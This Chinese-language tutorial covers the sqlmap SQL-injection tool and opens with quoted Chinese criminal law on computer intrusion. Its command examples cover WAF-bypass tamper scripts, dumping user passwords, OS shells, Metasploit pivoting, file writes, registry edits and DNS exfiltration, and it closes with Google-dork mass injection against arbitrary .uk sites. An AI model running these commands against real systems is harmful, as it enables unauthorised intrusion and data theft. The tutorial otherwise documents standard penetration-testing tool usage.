Sqlmap工具使用

中华人民共和国刑法(第285、286条)

第二百八十五条 非法侵入计算机信息系统罪

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。第二百八十六条 破坏计算机信息系统罪违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

第二百八十六条 破坏计算机信息系统罪

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。


1.sqlmap获取目标

  • sqlmap连接数据库
sqlmap.py -d "mysql://admin:[email protected]:3306/test" -f --banner
  • sqlmap URL探测

sqlmap直接对单一URL探测,使用 -u
URL格式:http(s): //targeturl[:port]/[…]

sqlmap.py -u "http://www.target.com/vuln.php?id=1" --banner
  • sqlmap文件读取目标
sqlmap支持从不同类型的文件中读取目标进行Sql注入探测

 -    -l 从Burpsuite proxy 或 WebScareb proxy 中读取 Http 请求日志文件
 -    -x 从 sitemap.xml 站点地图文件中读取目标探测
 -    -m 从多行文本格式文件读取多个目标,对多个目标进行探测
 -    -r  从文本文件中读取 Http 请求作为 Sql 注入探测的目标 
 -    -c  从配置文件 sqlmap.conf 中读取目标探测
  • sqlmap Google批量扫注入

sqlmap 通过 -c 自动利用 Google 获取指定 Google hack 目标,然后利用交互向导进行 SQL 注入探测

sqlmap.py -g "inurl:\.php?id=1\"

2.sqlmap请求参数设置

  • sqlmap设置HTTP方法(了解即可)

Sqlmap会自动在探测过程中使用适合的HTTP请求方法。
但是在某些具体情况下,需要强制使用具体的HTTP请求方法。

PUT请求方法:HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用 --method=PUT

  • sqlmap设置POST提交参数

默认情况下,用于执行HTTP请求的HTTP方法是GET,但是
可以通过提供在HTTP请求中发送的数据隐式地将其更改为POST

sqlmap.py -u "http://127.0.0.1/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=Submit"  -f --banner --dbs --users // -f fingerprint 指纹
  • sqlmap设置参数分割符

sqlmap默认参数分隔符为&

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
  • sqlmap设置Cookie头

如果需要对HTTP Cookie值进行SQL注入探测,需要设置 --level 2以上

使用场景:

1、Web应用程序具有基于Cookie验证的过程;
2、想利用Cookie值上的SQL注入漏洞。

sqlmap使用Cookie过程:

1、登录或浏览页面。
2、成功登录后,按F12、打开审计工具或代理截断,复制Cookie。
sqlmap.py -u "http://192.168.3.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=i1r88pvdgjmoi9jbbp6qmqiu32"
3、在Sqlmap中使用 --cookie 粘贴Cookie。
还可以是将burp跳转后出现cookie那一页,进行保存,再将level设置的大于2

Cookie中的参数:

 --cookie   --cookie-del   --load-cookies   --drop-set-cookie
通过  --cookie-del 设置cookie分隔符
通过提供 --drop-set-cookie 将忽略任何即将到来的Set-Cookie头来避免
发送一个 -cookie 报头,sqlmap将询问您要为以下HTTP请求使用哪组Cookie
--load-cookie,可以用来提供包含Netscape/wget格式的cookie的特殊文件
  • sqlmap设置User-Agent

level设置为3

默认情况下,salmap使用`sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)`
然而有些时候,目标主机会过滤掉这个请求

可以先用burp抓取正常的`user-agent`,然后使用参数 `--user-agent=""`

也可以通过 `--random-agent` 参数使得sqlmap从`./text/user-agent` 中随机抽取一个`User-Agent`
  • sqlmap设置HTTP主机头

需要将 level 设置为5,然后sqlmap才能对HTTp主机头进行SQL注入

--host=HOST
  • sqlmap设置Referer头

默认情况下,HTTP请求中不会发送HTTP引用头

如果–level设置为3或以上,将针对HTTP引用头 进行SQL注入测试

 --referer=REFERER
  • sqlmap设置额外HTTP头

通过设置选项–header,可以提供额外的HTTP标头。每个标头必须用换行符分隔

有两种,第一种可以设置多个参数,第二种只对User-agent进行设置
--headers="User-agent=HAHA\nCookies=123456" 
-H "User-agent=HAHA"
  • sqlmap设置HTTP协议认证

参数:--auth-type--auth-cred

–auth-type支持 BasicDigestNTLM
–auth-cred认证语法为:username:password

sqlmap.py -u "http://url/arit.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
  • sqlmap设置HTTP代理

sqlmap中设置代理的参数:--proxy, --proxy-cred, --proxy-file,--ignore-proxy

--proxy //用来设置HTTP代理服务器位置 格式:--proxy http(s)://ip[:端口]
--proxy-cred //用来设置HTTP代理服务器认证信息 格式:--proxy-cred username:password
--proxy-file //用来设置多条代理在文件中
--ignore-proxy //当您希望通过忽略系统范围内的HTTP(S)代理服务器设置来针对本地网络的目标部分 运行sqlmap时,应该使用这种方法。
  • sqlmap设置Tor隐藏网络

sqlmap中设置Tor网络的参数:--tor, --tor-port, --tor-type ,--check-tor

  • sqlmap设置延迟
--delay 0.5 
  • sqlmap设置超时

在考虑超时HTTP(S)请求之前,可以指定等待的秒数。有效值是一个浮点数,例如10.5表示10秒半。默认设置为30 秒

--timeout 10.5
  • sqlmap设置重试次数
--retries count  //设置对应重试次数,默认情况下重试3次
  • sqlmap设置随机化参数

sqlmap可以指定要在每次请求期间随机更改其值的参数名称。长度和类型根据提供的原始值保持一致

--randomize 参数名称
--randomize id
  • sqlmap设置日志过滤目标

配合burpsuite中的Project options-----Misc-----Logging-----Proxy----Requests 这儿来设置burp日志

与使用选项-l使用从提供的日志解析的所有主机不同,您可以指定有效的Python正则表达式,用于过滤所需的日志

 sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
 sqlmap.py  -l burp.log --scope="127.0.0.1"
  • 不进行URL加密
--skip-urlencode
  • sqlmap中设置忽略401

测试偶尔返回HTTP错误401(未经授权的)的站点,忽略它并在不提供适当凭证的情况下继续测试,使用

--ignore-401
  • sqlmap设置HTTP协议私钥

当web服务器需要适当的客户端证书和用于身份验证的私钥时,提供的值应该是一个PEM格式的key_file,其中包含证书和私钥

--auth-file 文件名

  • sqlmap设置安全模式

避免在多次请求失败后销毁会话

如果执行了一定数量的不成功请求,则在此期间的web应用程序或检查技术会销毁会话。这可能发生在sqlmap的检测阶段或利用任何盲SQL注入类型时。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号

--safe-url, --safe-post, --safe-req ,--safe-freq

–safe-url=SAFEURL //提供一个安全不错误的连接,每隔一段时间都会去访问一下
 –safe-post=SAFE..  //提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
 –safe-req=SAFER..  //从文件中加载安全HTTP请求
 –safe-freq=SAFE..   //测试一个给定安全网址的两个访问请求

通过这种方式,sqlmap将访问每个预定义数量的请求,而不对某个安全URL执行任何类型的注入

  • sqlmap设置忽略URL编码

据参数的位置(例如GET),默认情况下它的值可以是URL编码的。在某些情况下,后端web服务器不遵循RFC标准,需要以原始的非编码形式发送值。在这种情况下使用--skip-urlencode

--skip-urlencode  //不进行URL加密

3.sqlmap性能优化

-o //开启所有性能优化参数
  • sqlmap设置持久HTTP连接
--keep-alive
  • sqlmap检索没有body响应的内容
--null-connection
  • sqlmap设置多线程

默认为1

--thread 8

最高为10

  • sqlmap设置预测输出
--predict-output

4.sqlmap指定位置注入

-p --skip --param-exclude --skip-static

-p : 指定具体探测的参数。例如 : -p  "id,user-agent"
--skin: 忽略探测具体的参数, 例如: --level 5 --skin "user-agent,referer" 
--param-exclude :忽略包含具体内容的参数。例如:--param-exclude="token|session"不对包含的token或session的参数进行探测
--skip-static:忽略非动态参数
  • sqlmap设置URI注入位置

当注入点再URI本身时,要 手动指向URI路径,必须在命令行中添加()来指定注入点*

sqlmap.py -u "http://192.168.3.22/targeturl/param1/value*/param2/value2/"
sqlmap.py -u "http://192.168.3.22/sqli/Less-1/?id=1*&us=4&uname=admin" --current-db
  • sqlmap任意位置注入
sqlmap.py -u "http://192.168.0.1/sqli/Less-11/index.php" --cookie="param1=value1*;param2=value2"

5.sqlmap注入参数介绍

  • sqlmap强制设置DBMS

以下列出 Sqlmap完全支持的DBMS种类
MysqlOracleMicrosoft SQL ServerIBM DB2SQLiteFirebirdSybaseSAP MaxDBHSQLDBInformix

--dbms 数据库管理系统名称 [版本号]
--dbms mysql 5.0 、--dbms microsoft sql server 05
  • sqlmap强制设置OS系统

以下列出Sqlmap完 全支持的OS种类。
LinuxWindows

--os windows
--os linux
  • sqlmap关闭负载转换机制

在这种机制中,所有条目都被转换为字符串类型,并在NULL值的情 况下用空格字符替换。这样做是为了防止出现任何错误状态(例如,将空值与字符串值连接起来),并简化数 据检索过程本身。尽管如此,还是有报告的案例(例如MySQL DBMS的旧版本)由于数据检索本身的问题(例 如没有返回值)需要关闭这种机制(使用此开关)

--no-cast
  • sqlmap关闭字符转义机制

在sqlmap需要在有效负载中使用(单引号分隔)字符串值(例如,选择’foobar’)时,这些值将自动 转义(例如,选择CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。 这样做的原因有两个:混淆有效负载内容和防止后端服务器上查询转义机制(例如magic_quotes 和/或mysql_real_escape_string)的潜在问题。用户可以使用这个开关关闭它(例如减少有效负载 大小)

--no-escape
  • sqlmap强制设置无效值替换
--invalid-bignum //强制使用大整数值(例如id=99999999)
--invalid-logical //强制使用布尔操作(例如id=13 and18=19)
--invalid-string //强制使用随机字符串(例如id=akewmc)
  • sqlmap自定义注入负载位置

通过直接提供注入有效负载前缀和后缀来进行SQL注入

--prefix  //设置SQL注入Payload前缀
--suffix  //设置SQL注入Payload后缀

$query = "SELECT * FROM users WHERE id=(' . $_GET['id'] . ') LIMIT 0, 1";
sqlmap.py -u "http://ip/sqlmap/mysql/get_str_brackets.php\?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
$query = "SELECT * FROM users WHERE id=('1')  AND ('abc'='abc') LIMIT 0, 1";
  • sqlmap设置Tamper脚本

sqlmap通过Tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本

sqlmap.py -u "http://ip/sqlmap/mysql/get_int.php?id=1" --tamper“between.py,randomcase.py,space2comment.py” -v 3
  • sqlmap设置DBMS认证

设置DBMS认证方式通过以下命令:--dbms-cred = username:password

6.sqlmap设置自定义参数查询

  • sqlmap设置探测等级

--level 5

在显示无法注册时,可以设置 `--level 5` 来进行更强大的探测
  • sqlmap设置风险参数

--risk num

三个风险值,
默认值为1,这对于大多数SQL注入点来说是无害
值2增加了大量基于查询时间的SQL注入测试
值3增加了基于or的SQL注入测试
  • sqlmap设置页面比较参数

--string:指定包含字符串 查询为True
--not-string:指定包含字符串 查询为False
--regexp:指定通过正则表达式匹配字符串,查询为True
--code:指定匹配HTTP状态响应码,查询为True

  • sqlmap设置内容比较参数

--text-only:设置页面内容中包含

例如:–text-only = “Welcome for True and Forbidden for False”

--titles:设置页面title中包含文本

–titles=”Login”

7.sqlmap注入技术参数

  • sqlmap设置具体SQL注入技术

--technique 参数用来设置具体SQL注入技术

B: Boolean-based blind   基于布尔的盲注
E: Error-based   报错注入
U: Union query-based  Union查询注入
S: Stacked queries  堆叠注入
T: Time-based blind  基于时间的盲注
Q: Inline queries   内联查询注入
例如:sqlmap -u “存在注入点的URL”  --technique B  --current-db
利用基于布尔的盲注对注入点进行SQL注入探测。
  • sqlmap设置时间盲注延迟时间

--time-sec 3
在测试基于时间的盲SQL注入时,可以设置秒来延迟响应,默认情况下,它的值设置为5秒

  • sqlmap设置UNION字段数

默认情况下,sqlmap测试使用1到10列的UNION查询SQL注入技术但是,通过提供更高--level值,可以将此范围增加到50列。
可以手动告诉sqlmap使用特定范围的列来测试这种类型的SQL注入,–union-cols后跟一系列整数。

例如,12-16表示使用12到16个列对UNION查询SQL注入进行测试。
例如:sqlmap -u “存在注入的URL” --union-cols 12-18 --current-db
  • sqlmap设置UNION字符
默认情况下,sqlmap测试使用空字符的联合查询SQL注入,
但是,通过提供更高级别的值sqlmap,还将使用随机数执行测试,因为在某些情况下,UNION查询测试使用NULL会失败,而使用随机整数则会成功。

--union-char

例如–union-char 123

  • sqlmap设置union查询表

某些情况下,Sqlmap需要设定Union 查询SQL注入的具体数据表才可以得到数据

--union-from 表名

  • sqlmap设置DNS露出攻击

针对目标网络很有可能对外部流量进行限制,或者设置WAF

  • 通过设置DNS流量来突破限制

--dns-domain dns服务器

需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得Web应用程序中数据内容

  • sqlmap设置二次注入

--second-order url

8.sqlmap检索DBMS信息

  • 获取后端数据库Banner信息

--banner或者 -b

  • sqlmap检索DBMS当前用户

获取DBMS当前用户--current-user

  • sqlmap检索DBMS当前数据库

获取当前数据库名--current-db

sqlmap检索DBMS当前主机名--hostname

  • sqlmap枚举DBMS用户信息

sqlmap探测当前用户DBA

--is-dba 探测当前用户是否是数据库管理员

sqlmap枚举DBMS用户

获取DBMS所有用户--users

sqlmap枚举DBMS用户密码

--password 获取用户密码

sqlmap枚举DBMS权限
--privileges --role(角色)

9.sqlmap枚举信息

  • sqlmap列举数据库名
    --dbs 列举数据库名称
  • sqlmap枚举数据库表
    --tables 枚举表名
    指定具体数据库 -D 数据库名
    --exclude-sysdbs 除系统数据库外的所有数据库
  • sqlmap枚举数据表列
--columns   -D指定数据库   -T指定数据表  -C指定具体字段  
  • sqlmap枚举数据值
sqlmap.py -u "" -D security -T users -C "username,password"--dump

sqlmap枚举schema信息

--schema 可以用来检索DBMS模式,模式列表将包含所有数据库、表和列,以及它们各自的类型
--exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分

  • sqlmap检索数据表数量
    如果用户只想知道表中的条目数,则可以使用此开关--count
  • sqlmap获取数据信息
    --start 1 --stop3 获取第二张到第三张表的名字
    --stop 1 获取第一张表的名字
    --first 3 --last 5 获取从第三出发到第五个字符
  • sqlmap设置条件获取信息
    --pivot-column=id 设置独一无二的列
    --where=“id>3” 设置条件
  • sqlmap暴力破解数据
    使用场景:Mysql<5.0时,Mysql中没有元数据库 information_schema。
    --common-tables
    --common-columns

10.sqlmap读取文件

--file-read 路径 读取对应文件内容。
注意:此处路径为绝对路径

  • sqlmap写入文件

    --file-write 读取本地文件
    --file-dest 将读取到的文件写入到远程绝对路径

  • sqlmap检索所有信息
    -a --all

  • sqlmap系统参数

sqlmap执行系统命令,通过返回shell来执行
--os-shell

  • sqlmap结合Metasploit
python sqlmap.py -u "注入点" --os-pwn    MySQL and PostgreSQL
  • sqlmap注册表操作

--reg-read
--reg-add
--reg-del
--reg-key, --reg-value, --reg-data --reg-type

python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

11.sqlmap通用参数

  • sqlmap加载sqlite会话文件

sqlmap.py -s session.sqlite

恢复会话所需的所有数据

  • sqlmap加载http文本文件

-t来指定保存文件位置,显示sqlmap的http请求

  • sqlmap设置默认选择选项

--batch

  • sqlmap执行系统命令

--os-cmd=”命令”

  • sqlmap设置盲注字符集

在基于布尔和基于时间的SQL盲注中,用户可以强制使用自定义字符集来加速数据检索过程

例如,如果转储消息摘要值(例如SHA1),则使用–charset=“0123456789abcdef”,预期请求数量比正常运行少30%左右。

  • sqlmap爬取URL

--crawl=3
3代表深度,先爬取后注入,使得注入更快速

  • sqlmap在CSV输出中使用的分隔字符

当被转储的数据存储到CSV格式(–dump-format=CSV)时,条目必须用“分离值”分隔(默认值是,)。如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del=";")

  • sqlmap设置输出格式

--dump-format

  • sqlmap探测之前检测Internet连接

--check-internet

  • sqlmap解析和测试表单的输入字段

--form

  • sqlmap设置预计完成时间

--eta

  • sqlmap刷新会话文件

--flush-session

  • sqlmap忽略会话中存储的结果

--fresh-queries

  • sqlmap使用Hex函数检索数据

非ascii数据的检索需要特殊的需求。解决这个问题的一个方法是使用DBMS hex函数。数据在被检索之前被编码为十六进制形式,然后被未编码为原始形式

--hex

  • sqlmap设置自定义输出路径
    --output-dir=/

  • sqlmap从响应页面解析错误
    --parse-error

  • 保存Sqlmap配置文件
    --save

可以将命令行选项保存到配置INI文件中。然后,可以使用之前解释的-c选项编辑生成的文件并将其传递给sqlmap

  • 更新Sqlmap

--update

最好站在梯子上

  • sqlmap强制设置DBMS编码

--encoding="gbk"

  • sqlmap存储HTTP流量到HAR

--har="HARFILE"

HAR(HTTP Archive),是一个用来储存HTTP请求/响应信息的通用文件格式,基于JSON

  • sqlmap筛选具体Payload

--test-filter="ROW"

  • sqlmap过滤具体Payload

--test-skip="BENCHMARK"

  • 针对proxy日志文件使用正则表达式筛选目标

--scope="regex"

12.sqlmap杂项参数

  • sqlmap使用缩写助记符

sqlmap提供灵活的缩写助记符来进行快速书写命令

-z

例如:
	python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -uwww.target.com/vuln.php?id=1"
使用助记符:
	python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
  • sqlmap设置探测预警

在发现SQL注入漏洞时,计算机发出警报声

--alert

  • sqlmap设置问题答案

如果用户想自动设置问题的答案,即可使用–batch,使用–answers,通过在等号后面提供问题的任何部分和答案来完成
另外,不同问题的答案可以用分隔符分隔

python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
  • sqlmap发现SQL注入预警

如果用户使用--beep,当发现SQL注入时,会立即发出哔哔的警告。这在需要测试的大量目标url(选项-m)时特别有用

13.你们都懂
sqlmap谷歌搜索注入: sqlmap.py -g "site:.uk inurl:php/?=" --thread=10

sqlmap批量注入:sqlmap.py -m "G:\url.txt" --thread=10

你可能感兴趣的:(Sqlmap工具使用)